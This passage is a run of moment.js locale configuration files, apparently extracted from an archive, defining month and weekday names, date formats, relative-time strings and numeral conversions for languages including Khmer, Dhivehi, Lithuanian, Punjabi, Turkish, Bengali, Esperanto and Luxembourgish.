बजे', LLLL : 'dddd, D MMMM YYYY, A h:mm बजे' }, calendar : { sameDay : '[आज] LT', nextDay : '[कल] LT', nextWeek : 'dddd, LT', lastDay : '[कल] LT', lastWeek : '[पिछले] dddd, LT', sameElse : 'L' }, relativeTime : { future : '%s में', past : '%s पहले', s : 'कुछ ही क्षण', ss : '%d सेकंड', m : 'एक मिनट', mm : '%d मिनट', h : 'एक घंटा', hh : '%d घंटे', d : 'एक दिन', dd : '%d दिन', M : 'एक महीने', MM : '%d महीने', y : 'एक वर्ष', yy : '%d वर्ष' }, preparse: function (string) { return string.replace(/[१२३४५६७८९०]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, // Hindi notation for meridiems are quite fuzzy in practice. While there exists // a rigid notion of a 'Pahar' it is not used as rigidly in modern Hindi. meridiemParse: /रात|सुबह|दोपहर|शाम/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'रात') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'सुबह') { return hour; } else if (meridiem === 'दोपहर') { return hour >= 10 ? hour : hour + 12; } else if (meridiem === 'शाम') { return hour + 12; } }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'रात'; } else if (hour < 10) { return 'सुबह'; } else if (hour < 17) { return 'दोपहर'; } else if (hour < 20) { return 'शाम'; } else { return 'रात'; } }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/km.js000064400000006452151677412300006765 0ustar00//! moment.js locale configuration //! locale : Cambodian [km] //! author : Kruy Vanna : https://github.com/kruyvanna import moment from '../moment'; var symbolMap = { '1': '១', '2': '២', '3': '៣', '4': '៤', '5': '៥', '6': '៦', '7': '៧', '8': '៨', '9': '៩', '0': '០' }, numberMap = { '១': '1', '២': '2', '៣': '3', '៤': '4', '៥': '5', '៦': '6', '៧': '7', '៨': '8', '៩': '9', '០': '0' }; export default moment.defineLocale('km', { months: 'មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ'.split( '_' ), monthsShort: 'មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ'.split( '_' ), weekdays: 'អាទិត្យ_ច័ន្ទ_អង្គារ_ពុធ_ព្រហស្បតិ៍_សុក្រ_សៅរ៍'.split('_'), weekdaysShort: 'អា_ច_អ_ព_ព្រ_សុ_ស'.split('_'), weekdaysMin: 'អា_ច_អ_ព_ព្រ_សុ_ស'.split('_'), weekdaysParseExact: true, longDateFormat: { LT: 'HH:mm', LTS: 'HH:mm:ss', L: 'DD/MM/YYYY', LL: 'D MMMM YYYY', LLL: 'D MMMM YYYY HH:mm', LLLL: 'dddd, D MMMM YYYY HH:mm' }, meridiemParse: /ព្រឹក|ល្ងាច/, isPM: function (input) { return input === 'ល្ងាច'; }, meridiem: function (hour, minute, isLower) { if (hour < 12) { return 'ព្រឹក'; } else { return 'ល្ងាច'; } }, calendar: { sameDay: '[ថ្ងៃនេះ ម៉ោង] LT', nextDay: '[ស្អែក ម៉ោង] LT', nextWeek: 'dddd [ម៉ោង] LT', lastDay: '[ម្សិលមិញ ម៉ោង] LT', lastWeek: 'dddd [សប្តាហ៍មុន] [ម៉ោង] LT', sameElse: 'L' }, relativeTime: { future: '%sទៀត', past: '%sមុន', s: 'ប៉ុន្មានវិនាទី', ss: '%d វិនាទី', m: 'មួយនាទី', mm: '%d នាទី', h: 'មួយម៉ោង', hh: '%d ម៉ោង', d: 'មួយថ្ងៃ', dd: '%d ថ្ងៃ', M: 'មួយខែ', MM: '%d ខែ', y: 'មួយឆ្នាំ', yy: '%d ឆ្នាំ' }, dayOfMonthOrdinalParse : /ទី\d{1,2}/, ordinal : 'ទី%d', preparse: function (string) { return string.replace(/[១២៣៤៥៦៧៨៩០]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, week: { dow: 1, // Monday is the first day of the week. doy: 4 // The week that contains Jan 4th is the first week of the year. } }); locale/dv.js000064400000004704151677412300006765 0ustar00//! moment.js locale configuration //! locale : Maldivian [dv] //! author : Jawish Hameed : https://github.com/jawish import moment from '../moment'; var months = [ 'ޖެނުއަރީ', 'ފެބްރުއަރީ', 'މާރިޗު', 'އޭޕްރީލު', 'މޭ', 'ޖޫން', 'ޖުލައި', 'އޯގަސްޓު', 'ސެޕްޓެމްބަރު', 'އޮކްޓޯބަރު', 'ނޮވެމްބަރު', 'ޑިސެމްބަރު' ], weekdays = [ 'އާދިއްތަ', 'ހޯމަ', 'އަންގާރަ', 'ބުދަ', 'ބުރާސްފަތި', 'ހުކުރު', 'ހޮނިހިރު' ]; export default moment.defineLocale('dv', { months : months, monthsShort : months, weekdays : weekdays, weekdaysShort : weekdays, weekdaysMin : 'އާދި_ހޯމަ_އަން_ބުދަ_ބުރާ_ހުކު_ހޮނި'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'D/M/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, meridiemParse: /މކ|މފ/, isPM : function (input) { return 'މފ' === input; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'މކ'; } else { return 'މފ'; } }, calendar : { sameDay : '[މިއަދު] LT', nextDay : '[މާދަމާ] LT', nextWeek : 'dddd LT', lastDay : '[އިއްޔެ] LT', lastWeek : '[ފާއިތުވި] dddd LT', sameElse : 'L' }, relativeTime : { future : 'ތެރޭގައި %s', past : 'ކުރިން %s', s : 'ސިކުންތުކޮޅެއް', ss : 'd% ސިކުންތު', m : 'މިނިޓެއް', mm : 'މިނިޓު %d', h : 'ގަޑިއިރެއް', hh : 'ގަޑިއިރު %d', d : 'ދުވަހެއް', dd : 'ދުވަސް %d', M : 'މަހެއް', MM : 'މަސް %d', y : 'އަހަރެއް', yy : 'އަހަރު %d' }, preparse: function (string) { return string.replace(/،/g, ','); }, postformat: function (string) { return string.replace(/,/g, '،'); }, week : { dow : 7, // Sunday is the first day of the week. doy : 12 // The week that contains Jan 1st is the first week of the year. } }); locale/lt.js000064400000007636151677412300007002 0ustar00//! moment.js locale configuration //! locale : Lithuanian [lt] //! author : Mindaugas Mozūras : https://github.com/mmozuras import moment from '../moment'; var units = { 'ss' : 'sekundė_sekundžių_sekundes', 'm' : 'minutė_minutės_minutę', 'mm': 'minutės_minučių_minutes', 'h' : 'valanda_valandos_valandą', 'hh': 'valandos_valandų_valandas', 'd' : 'diena_dienos_dieną', 'dd': 'dienos_dienų_dienas', 'M' : 'mėnuo_mėnesio_mėnesį', 'MM': 'mėnesiai_mėnesių_mėnesius', 'y' : 'metai_metų_metus', 'yy': 'metai_metų_metus' }; function translateSeconds(number, withoutSuffix, key, isFuture) { if (withoutSuffix) { return 'kelios sekundės'; } else { return isFuture ? 'kelių sekundžių' : 'kelias sekundes'; } } function translateSingular(number, withoutSuffix, key, isFuture) { return withoutSuffix ? forms(key)[0] : (isFuture ? forms(key)[1] : forms(key)[2]); } function special(number) { return number % 10 === 0 || (number > 10 && number < 20); } function forms(key) { return units[key].split('_'); } function translate(number, withoutSuffix, key, isFuture) { var result = number + ' '; if (number === 1) { return result + translateSingular(number, withoutSuffix, key[0], isFuture); } else if (withoutSuffix) { return result + (special(number) ? forms(key)[1] : forms(key)[0]); } else { if (isFuture) { return result + forms(key)[1]; } else { return result + (special(number) ? forms(key)[1] : forms(key)[2]); } } } export default moment.defineLocale('lt', { months : { format: 'sausio_vasario_kovo_balandžio_gegužės_birželio_liepos_rugpjūčio_rugsėjo_spalio_lapkričio_gruodžio'.split('_'), standalone: 'sausis_vasaris_kovas_balandis_gegužė_birželis_liepa_rugpjūtis_rugsėjis_spalis_lapkritis_gruodis'.split('_'), isFormat: /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/ }, monthsShort : 'sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd'.split('_'), weekdays : { format: 'sekmadienį_pirmadienį_antradienį_trečiadienį_ketvirtadienį_penktadienį_šeštadienį'.split('_'), standalone: 'sekmadienis_pirmadienis_antradienis_trečiadienis_ketvirtadienis_penktadienis_šeštadienis'.split('_'), isFormat: /dddd HH:mm/ }, weekdaysShort : 'Sek_Pir_Ant_Tre_Ket_Pen_Šeš'.split('_'), weekdaysMin : 'S_P_A_T_K_Pn_Š'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY-MM-DD', LL : 'YYYY [m.] MMMM D [d.]', LLL : 'YYYY [m.] MMMM D [d.], HH:mm [val.]', LLLL : 'YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]', l : 'YYYY-MM-DD', ll : 'YYYY [m.] MMMM D [d.]', lll : 'YYYY [m.] MMMM D [d.], HH:mm [val.]', llll : 'YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]' }, calendar : { sameDay : '[Šiandien] LT', nextDay : '[Rytoj] LT', nextWeek : 'dddd LT', lastDay : '[Vakar] LT', lastWeek : '[Praėjusį] dddd LT', sameElse : 'L' }, relativeTime : { future : 'po %s', past : 'prieš %s', s : translateSeconds, ss : translate, m : translateSingular, mm : translate, h : translateSingular, hh : translate, d : translateSingular, dd : translate, M : translateSingular, MM : translate, y : translateSingular, yy : translate }, dayOfMonthOrdinalParse: /\d{1,2}-oji/, ordinal : function (number) { return number + '-oji'; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/pa-in.js000064400000010172151677412300007354 0ustar00//! moment.js locale configuration //! locale : Punjabi (India) [pa-in] //! author : Harpreet Singh : https://github.com/harpreetkhalsagtbit import moment from '../moment'; var symbolMap = { '1': '੧', '2': '੨', '3': '੩', '4': '੪', '5': '੫', '6': '੬', '7': '੭', '8': '੮', '9': '੯', '0': '੦' }, numberMap = { '੧': '1', '੨': '2', '੩': '3', '੪': '4', '੫': '5', '੬': '6', '੭': '7', '੮': '8', '੯': '9', '੦': '0' }; export default moment.defineLocale('pa-in', { // There are months name as per Nanakshahi Calender but they are not used as rigidly in modern Punjabi. months : 'ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ'.split('_'), monthsShort : 'ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ'.split('_'), weekdays : 'ਐਤਵਾਰ_ਸੋਮਵਾਰ_ਮੰਗਲਵਾਰ_ਬੁਧਵਾਰ_ਵੀਰਵਾਰ_ਸ਼ੁੱਕਰਵਾਰ_ਸ਼ਨੀਚਰਵਾਰ'.split('_'), weekdaysShort : 'ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ'.split('_'), weekdaysMin : 'ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ'.split('_'), longDateFormat : { LT : 'A h:mm ਵਜੇ', LTS : 'A h:mm:ss ਵਜੇ', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, A h:mm ਵਜੇ', LLLL : 'dddd, D MMMM YYYY, A h:mm ਵਜੇ' }, calendar : { sameDay : '[ਅਜ] LT', nextDay : '[ਕਲ] LT', nextWeek : '[ਅਗਲਾ] dddd, LT', lastDay : '[ਕਲ] LT', lastWeek : '[ਪਿਛਲੇ] dddd, LT', sameElse : 'L' }, relativeTime : { future : '%s ਵਿੱਚ', past : '%s ਪਿਛਲੇ', s : 'ਕੁਝ ਸਕਿੰਟ', ss : '%d ਸਕਿੰਟ', m : 'ਇਕ ਮਿੰਟ', mm : '%d ਮਿੰਟ', h : 'ਇੱਕ ਘੰਟਾ', hh : '%d ਘੰਟੇ', d : 'ਇੱਕ ਦਿਨ', dd : '%d ਦਿਨ', M : 'ਇੱਕ ਮਹੀਨਾ', MM : '%d ਮਹੀਨੇ', y : 'ਇੱਕ ਸਾਲ', yy : '%d ਸਾਲ' }, preparse: function (string) { return string.replace(/[੧੨੩੪੫੬੭੮੯੦]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, // Punjabi notation for meridiems are quite fuzzy in practice. While there exists // a rigid notion of a 'Pahar' it is not used as rigidly in modern Punjabi. meridiemParse: /ਰਾਤ|ਸਵੇਰ|ਦੁਪਹਿਰ|ਸ਼ਾਮ/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'ਰਾਤ') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'ਸਵੇਰ') { return hour; } else if (meridiem === 'ਦੁਪਹਿਰ') { return hour >= 10 ? hour : hour + 12; } else if (meridiem === 'ਸ਼ਾਮ') { return hour + 12; } }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'ਰਾਤ'; } else if (hour < 10) { return 'ਸਵੇਰ'; } else if (hour < 17) { return 'ਦੁਪਹਿਰ'; } else if (hour < 20) { return 'ਸ਼ਾਮ'; } else { return 'ਰਾਤ'; } }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/se.js000064400000003525151677412300006763 0ustar00//! moment.js locale configuration //! locale : Northern Sami [se] //! authors : Bård Rolstad Henriksen : https://github.com/karamell import moment from '../moment'; export default moment.defineLocale('se', { months : 'ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu'.split('_'), monthsShort : 'ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov'.split('_'), weekdays : 'sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat'.split('_'), weekdaysShort : 'sotn_vuos_maŋ_gask_duor_bear_láv'.split('_'), weekdaysMin : 's_v_m_g_d_b_L'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'MMMM D. [b.] YYYY', LLL : 'MMMM D. [b.] YYYY [ti.] HH:mm', LLLL : 'dddd, MMMM D. [b.] YYYY [ti.] HH:mm' }, calendar : { sameDay: '[otne ti] LT', nextDay: '[ihttin ti] LT', nextWeek: 'dddd [ti] LT', lastDay: '[ikte ti] LT', lastWeek: '[ovddit] dddd [ti] LT', sameElse: 'L' }, relativeTime : { future : '%s geažes', past : 'maŋit %s', s : 'moadde sekunddat', ss: '%d sekunddat', m : 'okta minuhta', mm : '%d minuhtat', h : 'okta diimmu', hh : '%d diimmut', d : 'okta beaivi', dd : '%d beaivvit', M : 'okta mánnu', MM : '%d mánut', y : 'okta jahki', yy : '%d jagit' }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/tr.js000064400000005125151677412300006777 0ustar00 //! moment.js locale configuration //! locale : Turkish [tr] //! authors : Erhan Gundogan : https://github.com/erhangundogan, //! Burak Yiğit Kaya: https://github.com/BYK import moment from '../moment'; var suffixes = { 1: '\'inci', 5: '\'inci', 8: '\'inci', 70: '\'inci', 80: '\'inci', 2: '\'nci', 7: '\'nci', 20: '\'nci', 50: '\'nci', 3: '\'üncü', 4: '\'üncü', 100: '\'üncü', 6: '\'ncı', 9: '\'uncu', 10: '\'uncu', 30: '\'uncu', 60: '\'ıncı', 90: '\'ıncı' }; export default moment.defineLocale('tr', { months : 'Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık'.split('_'), monthsShort : 'Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara'.split('_'), weekdays : 'Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi'.split('_'), weekdaysShort : 'Paz_Pts_Sal_Çar_Per_Cum_Cts'.split('_'), weekdaysMin : 'Pz_Pt_Sa_Ça_Pe_Cu_Ct'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[bugün saat] LT', nextDay : '[yarın saat] LT', nextWeek : '[gelecek] dddd [saat] LT', lastDay : '[dün] LT', lastWeek : '[geçen] dddd [saat] LT', sameElse : 'L' }, relativeTime : { future : '%s sonra', past : '%s önce', s : 'birkaç saniye', ss : '%d saniye', m : 'bir dakika', mm : '%d dakika', h : 'bir saat', hh : '%d saat', d : 'bir gün', dd : '%d gün', M : 'bir ay', MM : '%d ay', y : 'bir yıl', yy : '%d yıl' }, ordinal: function (number, period) { switch (period) { case 'd': case 'D': case 'Do': case 'DD': return number; default: if (number === 0) { // special case for zero return number + '\'ıncı'; } var a = number % 10, b = number % 100 - a, c = number >= 100 ? 100 : null; return number + (suffixes[a] || suffixes[b] || suffixes[c]); } }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/bn.js000064400000007433151677412300006755 0ustar00//! moment.js locale configuration //! locale : Bengali [bn] //! author : Kaushik Gandhi : https://github.com/kaushikgandhi import moment from '../moment'; var symbolMap = { '1': '১', '2': '২', '3': '৩', '4': '৪', '5': '৫', '6': '৬', '7': '৭', '8': '৮', '9': '৯', '0': '০' }, numberMap = { '১': '1', '২': '2', '৩': '3', '৪': '4', '৫': '5', '৬': '6', '৭': '7', '৮': '8', '৯': '9', '০': '0' }; export default moment.defineLocale('bn', { months : 'জানুয়ারী_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর'.split('_'), monthsShort : 'জানু_ফেব_মার্চ_এপ্র_মে_জুন_জুল_আগ_সেপ্ট_অক্টো_নভে_ডিসে'.split('_'), weekdays : 'রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার'.split('_'), weekdaysShort : 'রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি'.split('_'), weekdaysMin : 'রবি_সোম_মঙ্গ_বুধ_বৃহঃ_শুক্র_শনি'.split('_'), longDateFormat : { LT : 'A h:mm সময়', LTS : 'A h:mm:ss সময়', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, A h:mm সময়', LLLL : 'dddd, D MMMM YYYY, A h:mm সময়' }, calendar : { sameDay : '[আজ] LT', nextDay : '[আগামীকাল] LT', nextWeek : 'dddd, LT', lastDay : '[গতকাল] LT', lastWeek : '[গত] dddd, LT', sameElse : 'L' }, relativeTime : { future : '%s পরে', past : '%s আগে', s : 'কয়েক সেকেন্ড', ss : '%d সেকেন্ড', m : 'এক মিনিট', mm : '%d মিনিট', h : 'এক ঘন্টা', hh : '%d ঘন্টা', d : 'এক দিন', dd : '%d দিন', M : 'এক মাস', MM : '%d মাস', y : 'এক বছর', yy : '%d বছর' }, preparse: function (string) { return string.replace(/[১২৩৪৫৬৭৮৯০]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, meridiemParse: /রাত|সকাল|দুপুর|বিকাল|রাত/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if ((meridiem === 'রাত' && hour >= 4) || (meridiem === 'দুপুর' && hour < 5) || meridiem === 'বিকাল') { return hour + 12; } else { return hour; } }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'রাত'; } else if (hour < 10) { return 'সকাল'; } else if (hour < 17) { return 'দুপুর'; } else if (hour < 20) { return 'বিকাল'; } else { return 'রাত'; } }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/az.js000064400000005552151677412300006770 0ustar00//! moment.js locale configuration //! locale : Azerbaijani [az] //! author : topchiyev : https://github.com/topchiyev import moment from '../moment'; var suffixes = { 1: '-inci', 5: '-inci', 8: '-inci', 70: '-inci', 80: '-inci', 2: '-nci', 7: '-nci', 20: '-nci', 50: '-nci', 3: '-üncü', 4: '-üncü', 100: '-üncü', 6: '-ncı', 9: '-uncu', 10: '-uncu', 30: '-uncu', 60: '-ıncı', 90: '-ıncı' }; export default moment.defineLocale('az', { months : 'yanvar_fevral_mart_aprel_may_iyun_iyul_avqust_sentyabr_oktyabr_noyabr_dekabr'.split('_'), monthsShort : 'yan_fev_mar_apr_may_iyn_iyl_avq_sen_okt_noy_dek'.split('_'), weekdays : 'Bazar_Bazar ertəsi_Çərşənbə axşamı_Çərşənbə_Cümə axşamı_Cümə_Şənbə'.split('_'), weekdaysShort : 'Baz_BzE_ÇAx_Çər_CAx_Cüm_Şən'.split('_'), weekdaysMin : 'Bz_BE_ÇA_Çə_CA_Cü_Şə'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[bugün saat] LT', nextDay : '[sabah saat] LT', nextWeek : '[gələn həftə] dddd [saat] LT', lastDay : '[dünən] LT', lastWeek : '[keçən həftə] dddd [saat] LT', sameElse : 'L' }, relativeTime : { future : '%s sonra', past : '%s əvvəl', s : 'birneçə saniyə', ss : '%d saniyə', m : 'bir dəqiqə', mm : '%d dəqiqə', h : 'bir saat', hh : '%d saat', d : 'bir gün', dd : '%d gün', M : 'bir ay', MM : '%d ay', y : 'bir il', yy : '%d il' }, meridiemParse: /gecə|səhər|gündüz|axşam/, isPM : function (input) { return /^(gündüz|axşam)$/.test(input); }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'gecə'; } else if (hour < 12) { return 'səhər'; } else if (hour < 17) { return 'gündüz'; } else { return 'axşam'; } }, dayOfMonthOrdinalParse: /\d{1,2}-(ıncı|inci|nci|üncü|ncı|uncu)/, ordinal : function (number) { if (number === 0) { // special case for zero return number + '-ıncı'; } var a = number % 10, b = number % 100 - a, c = number >= 100 ? 100 : null; return number + (suffixes[a] || suffixes[b] || suffixes[c]); }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/eo.js000064400000004307151677412300006756 0ustar00//! moment.js locale configuration //! locale : Esperanto [eo] //! author : Colin Dean : https://github.com/colindean //! author : Mia Nordentoft Imperatori : https://github.com/miestasmia //! comment : miestasmia corrected the translation by colindean import moment from '../moment'; export default moment.defineLocale('eo', { months : 'januaro_februaro_marto_aprilo_majo_junio_julio_aŭgusto_septembro_oktobro_novembro_decembro'.split('_'), monthsShort : 'jan_feb_mar_apr_maj_jun_jul_aŭg_sep_okt_nov_dec'.split('_'), weekdays : 'dimanĉo_lundo_mardo_merkredo_ĵaŭdo_vendredo_sabato'.split('_'), weekdaysShort : 'dim_lun_mard_merk_ĵaŭ_ven_sab'.split('_'), weekdaysMin : 'di_lu_ma_me_ĵa_ve_sa'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY-MM-DD', LL : 'D[-a de] MMMM, YYYY', LLL : 'D[-a de] MMMM, YYYY HH:mm', LLLL : 'dddd, [la] D[-a de] MMMM, YYYY HH:mm' }, meridiemParse: /[ap]\.t\.m/i, isPM: function (input) { return input.charAt(0).toLowerCase() === 'p'; }, meridiem : function (hours, minutes, isLower) { if (hours > 11) { return isLower ? 'p.t.m.' : 'P.T.M.'; } else { return isLower ? 'a.t.m.' : 'A.T.M.'; } }, calendar : { sameDay : '[Hodiaŭ je] LT', nextDay : '[Morgaŭ je] LT', nextWeek : 'dddd [je] LT', lastDay : '[Hieraŭ je] LT', lastWeek : '[pasinta] dddd [je] LT', sameElse : 'L' }, relativeTime : { future : 'post %s', past : 'antaŭ %s', s : 'sekundoj', ss : '%d sekundoj', m : 'minuto', mm : '%d minutoj', h : 'horo', hh : '%d horoj', d : 'tago',//ne 'diurno', ĉar estas uzita por proksimumo dd : '%d tagoj', M : 'monato', MM : '%d monatoj', y : 'jaro', yy : '%d jaroj' }, dayOfMonthOrdinalParse: /\d{1,2}a/, ordinal : '%da', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/en-au.js000064400000003651151677412300007361 0ustar00//! moment.js locale configuration //! locale : English (Australia) [en-au] //! author : Jared Morse : https://github.com/jarcoal import moment from '../moment'; export default moment.defineLocale('en-au', { months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'), monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'), weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'), weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'), weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'), longDateFormat : { LT : 'h:mm A', LTS : 'h:mm:ss A', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY h:mm A', LLLL : 'dddd, D MMMM YYYY h:mm A' }, calendar : { sameDay : '[Today at] LT', nextDay : '[Tomorrow at] LT', nextWeek : 'dddd [at] LT', lastDay : '[Yesterday at] LT', lastWeek : '[Last] dddd [at] LT', sameElse : 'L' }, relativeTime : { future : 'in %s', past : '%s ago', s : 'a few seconds', ss : '%d seconds', m : 'a minute', mm : '%d minutes', h : 'an hour', hh : '%d hours', d : 'a day', dd : '%d days', M : 'a month', MM : '%d months', y : 'a year', yy : '%d years' }, dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, ordinal : function (number) { var b = number % 10, output = (~~(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/lb.js000064400000010357151677412300006752 0ustar00//! moment.js locale configuration //! locale : Luxembourgish [lb] //! author : mweimerskirch : https://github.com/mweimerskirch //! author : David Raison : https://github.com/kwisatz import moment from '../moment'; function processRelativeTime(number, withoutSuffix, key, isFuture) { var format = { 'm': ['eng Minutt', 'enger Minutt'], 'h': ['eng Stonn', 'enger Stonn'], 'd': ['een Dag', 'engem Dag'], 'M': ['ee Mount', 'engem Mount'], 'y': ['ee Joer', 'engem Joer'] }; return withoutSuffix ? format[key][0] : format[key][1]; } function processFutureTime(string) { var number = string.substr(0, string.indexOf(' ')); if (eifelerRegelAppliesToNumber(number)) { return 'a ' + string; } return 'an ' + string; } function processPastTime(string) { var number = string.substr(0, string.indexOf(' ')); if (eifelerRegelAppliesToNumber(number)) { return 'viru ' + string; } return 'virun ' + string; } /** * Returns true if the word before the given number loses the '-n' ending. * e.g. 'an 10 Deeg' but 'a 5 Deeg' * * @param number {integer} * @returns {boolean} */ function eifelerRegelAppliesToNumber(number) { number = parseInt(number, 10); if (isNaN(number)) { return false; } if (number < 0) { // Negative Number --> always true return true; } else if (number < 10) { // Only 1 digit if (4 <= number && number <= 7) { return true; } return false; } else if (number < 100) { // 2 digits var lastDigit = number % 10, firstDigit = number / 10; if (lastDigit === 0) { return eifelerRegelAppliesToNumber(firstDigit); } return eifelerRegelAppliesToNumber(lastDigit); } else if (number < 10000) { // 3 or 4 digits --> recursively check first digit while (number >= 10) { number = number / 10; } return eifelerRegelAppliesToNumber(number); } else { // Anything larger than 4 digits: recursively check first n-3 digits number = number / 1000; return eifelerRegelAppliesToNumber(number); } } export default moment.defineLocale('lb', { months: 'Januar_Februar_Mäerz_Abrëll_Mee_Juni_Juli_August_September_Oktober_November_Dezember'.split('_'), monthsShort: 'Jan._Febr._Mrz._Abr._Mee_Jun._Jul._Aug._Sept._Okt._Nov._Dez.'.split('_'), monthsParseExact : true, weekdays: 'Sonndeg_Méindeg_Dënschdeg_Mëttwoch_Donneschdeg_Freideg_Samschdeg'.split('_'), weekdaysShort: 'So._Mé._Dë._Më._Do._Fr._Sa.'.split('_'), weekdaysMin: 'So_Mé_Dë_Më_Do_Fr_Sa'.split('_'), weekdaysParseExact : true, longDateFormat: { LT: 'H:mm [Auer]', LTS: 'H:mm:ss [Auer]', L: 'DD.MM.YYYY', LL: 'D. MMMM YYYY', LLL: 'D. MMMM YYYY H:mm [Auer]', LLLL: 'dddd, D. MMMM YYYY H:mm [Auer]' }, calendar: { sameDay: '[Haut um] LT', sameElse: 'L', nextDay: '[Muer um] LT', nextWeek: 'dddd [um] LT', lastDay: '[Gëschter um] LT', lastWeek: function () { // Different date string for 'Dënschdeg' (Tuesday) and 'Donneschdeg' 